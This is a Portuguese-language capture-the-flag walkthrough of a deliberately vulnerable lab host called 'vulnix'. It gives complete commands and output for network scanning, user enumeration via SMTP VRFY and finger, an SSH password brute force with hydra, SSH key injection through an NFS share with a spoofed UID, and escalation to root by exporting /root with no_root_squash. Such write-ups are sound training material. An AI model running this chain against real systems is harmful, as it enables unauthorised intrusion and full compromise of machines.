Identificação do Host Alvo

O prmieiro passo consiste em localizar o endereço IP da máquina de destino na rede local. Utilizamos o protocolo ARP para descobrir hosts ativos na sub-rede.

┌──(root㉿attacker)-[~]
└─# arp-scan --interface=eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:aa:bb:cc, IPv4: 10.0.0.50
Starting arp-scan 1.10.0 with 256 hosts
10.0.0.1        00:50:56:c0:00:08       VMware, Inc.
10.0.0.2        00:50:56:e9:30:53       VMware, Inc.
10.0.0.120      00:0c:29:6d:b1:2c       VMware, Inc.
10.0.0.254      00:50:56:e8:12:81       VMware, Inc.

Ending arp-scan 1.10.0: 256 hosts scanned in 1.879 seconds (136.24 hosts/sec). 4 responded

O host com IP 10.0.0.120 foi identificado como o alvo, pois corresponde a uma instância VMware desconhecida.

Varredura de Portas TCP

Executamos uma varredura rápida nas portas TCP para mapear os serviços disponíveis.

┌──(root㉿attacker)-[~]
└─# nmap -sT --min-rate 15000 -p- 10.0.0.120
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.0.0.120
Host is up (0.0018s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
79/tcp   open  finger
110/tcp  open  pop3
111/tcp  open  rpcbind
143/tcp  open  imap
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
993/tcp  open  imaps
995/tcp  open  pop3s
2049/tcp open  nfs
MAC Address: 00:0C:29:6D:B1:2C (VMware)

Detalhamento dos Serviços

Com as portas identificadas, realizamos uma análise aprofundada dos serviços, incluindo detecção de versões e execução de scripts padrão.

nmap -sC -sV -sT -p22,25,79,110,111,143,512,513,514,993,995,2049 10.0.0.120

Destaques da varredura detalhada:

• SSH (22/tcp): OpenSSH 5.9p1 em Debian/Ubuntu
• SMTP (25/tcp): Postfix com suporte a VRFY habilitado
• Finger (79/tcp): daemon fingerd do Linux ativo
• POP3/IMAP (110,143,993,995/tcp): Dovecot com certificados TLS
• NFS (2049/tcp): servidor NFS exportando compartilhamentos
• Rexec/Rlogin (512,513,514/tcp): serviços legados remotos

Também executamos uma verificação de vulnerabilidades conhecidas:

nmap --script=vuln -p22,25,79,110,111,143,512,513,514,993,995,2049 10.0.0.120

Enumerando Usuários

Abuso do Comando VRFY no SMTP

O Postfix está configurado com o comando VRFY habilitado, permitindo verificar a existência de contas de e-mail. Utilizamos a ferramenta smtp-user-enum para testar nomes de usuário contra o servidor.

smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t 10.0.0.120

A enumeração revelou o usuário root e diversas contas padrão do sistema.

Coleta via Protocolo Finger

O serviço finger permite obter informações detalhadas sobre contas locais. Podemos consultá-lo diretamente via Telnet ou com ferramentas automatizadas.

┌──(root㉿attacker)-[~]
└─# nc 10.0.0.120 79 <<< "user"
Login: user                    Name: user
Directory: /home/user          Shell: /bin/bash
Never logged in.
No mail.
No Plan.

┌──(root㉿attacker)-[~]
└─# nc 10.0.0.120 79 <<< "root"
Login: root                    Name: root
Directory: /root               Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Também utilizamos o script Perl dedicado para varredura em massa:

perl finger-user-enum.pl -U /usr/share/seclists/Usernames/cirt-default-usernames.txt -t 10.0.0.120

Obtendo Acesso via SSH

Com o nome de usuário user confirmado, realizamos um ataque de força bruta contra o serviço SSH utilizando uma wordlist popular.

hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.120 -t 6 -f

O ataque revelou as credenciais válidas: user:letmein.

┌──(root㉿attacker)-[~]
└─# ssh user@10.0.0.120
user@10.0.0.120's password:
Welcome to Ubuntu 12.04.1 LTS
user@vulnix:~$

Escalada de Privilégios via NFS

Análise do Ambiente

Dentro do sistema comprometido, examinamos o arquivo de contas para entender a estrutura de usuários.

user@vulnix:~$ cat /etc/passwd | grep -E '/bin/(ba)?sh$'
root:x:0:0:root:/root:/bin/bash
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash

Observamos que existe um segundo usuário local chamado vulnix com UID/GID 2008. Como o servidor NFS está ativo, investigamos os compartilhamentos disponíveis.

Montagem do Compartilhamento NFS

Na máquina atacante, listamos as exportações NFS do alvo e criamos um usuário local com o mesmo UID para respeitar as permissões.

┌──(root㉿attacker)-[~]
└─# showmount -e 10.0.0.120
Export list for 10.0.0.120:
/home/vulnix *

┌──(root㉿attacker)-[~]
└─# useradd -u 2008 -M -s /bin/bash vulnix_nfs

Montamos o diretório exportado e alternamos para o usuário recém-criado:

┌──(root㉿attacker)-[~]
└─# mkdir -p /mnt/nfs_home
└─# mount -t nfs -o nolock 10.0.0.120:/home/vulnix /mnt/nfs_home
└─# su - vulnix_nfs
$ ls -la /mnt/nfs_home/
total 16
drwxr-x--- 2 nobody nogroup 4096 Sep  3  2012 .
drwxrwxrwt 18 root   root     440 Mar 22 19:32 ..
-rw-r--r-- 1 nobody nogroup  220 Apr  3  2012 .bash_logout
-rw-r--r-- 1 nobody nogroup 3486 Apr  3  2012 .bashrc
-rw-r--r-- 1 nobody nogroup  675 Apr  3  2012 .profile

Injeção de Chave SSH Pública

Geramos um par de chaves RSA e injetamos a chave pública no diretório do usuário vulnix através do compartilhamento NFS.

┌──(root㉿attacker)-[~]
└─# ssh-keygen -t rsa -b 4096 -f /root/.ssh/vulnix_key -N ""

$ mkdir -p /mnt/nfs_home/.ssh
$ cp /root/.ssh/vulnix_key.pub /mnt/nfs_home/.ssh/authorized_keys
$ chmod 700 /mnt/nfs_home/.ssh
$ chmod 600 /mnt/nfs_home/.ssh/authorized_keys

Autenticamos como o usuário vulnix usando a chave privada gerada:

┌──(root㉿attacker)-[~]
└─# ssh -i /root/.ssh/vulnix_key vulnix@10.0.0.120 -oPubkeyAcceptedKeyTypes=ssh-rsa
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)

Explorando Permissões Sudo

Verificamos quais comandos o usuário vulnix pode executar com privilégios elevados:

vulnix@vulnix:~$ sudo -l
Matching Defaults entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User vulnix may run the following commands on this host:
    (root) NOPASSWD: sudoedit /etc/exports

O usuário pode editar o arquivo de configuração do NFS (/etc/exports) como root sem senha. Esse arquivo define quais diretórios são exportados e com quais permissões.

Obtendo Acesso Root

Editamos /etc/exports para exportar o diretório /root com a opção no_root_squash, que mantém os privilégios de root para clientes remotos.

vulnix@vulnix:~$ sudoedit /etc/exports

Conteúdo adicionado ao final do arquivo:

/root   *(rw,no_root_squash)

De volta à máquina atacante, após reiniciar o serviço NFS no alvo (ou reiniciar a máquina), montamos o novo compartilhamanto.

┌──(root㉿attacker)-[~]
└─# showmount -e 10.0.0.120
Export list for 10.0.0.120:
/root        *
/home/vulnix *

┌──(root㉿attacker)-[~]
└─# mkdir -p /mnt/nfs_root
└─# mount -t nfs -o nolock 10.0.0.120:/root /mnt/nfs_root

Injetamos a mesma chave SSH pública no diretório .ssh do root:

┌──(root㉿attacker)-[~]
└─# mkdir -p /mnt/nfs_root/.ssh
└─# cp /root/.ssh/vulnix_key.pub /mnt/nfs_root/.ssh/authorized_keys

Encontramos também um arquivo de flag no diretório raiz:

┌──(root㉿attacker)-[~]
└─# cat /mnt/nfs_root/trophy.txt
cc614640424f5bd60ce5d5264899c3be

Finalmente, acessamos como root via SSH:

┌──(root㉿attacker)-[~]
└─# ssh -i /root/.ssh/vulnix_key root@10.0.0.120 -oPubkeyAcceptedKeyTypes=ssh-rsa
root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)

Pontos-Chave do Ataque

• O comando VRFY no SMTP e o protocolo finger foram utilizados para enumerar usuários válidos no sistema.
• A força bruta contra SSH com uma wordlist conhecida resultou em acesso inicial ao sistema.
• A configuração do NFS permitiu a montagem de diretórios de outros usuários, explorando a correspondência de UIDs entre a máquina atacante e o alvo.
• A injeção de chavess SSH públicas via compartilhamento NFS foi o mecanismo central para obter acesso tanto ao usuário vulnix quanto ao root.
• A permissão sudoedit /etc/exports sem senha representou o vetor de escalada de privilégios final, permitindo exportar o diretório /root com no_root_squash.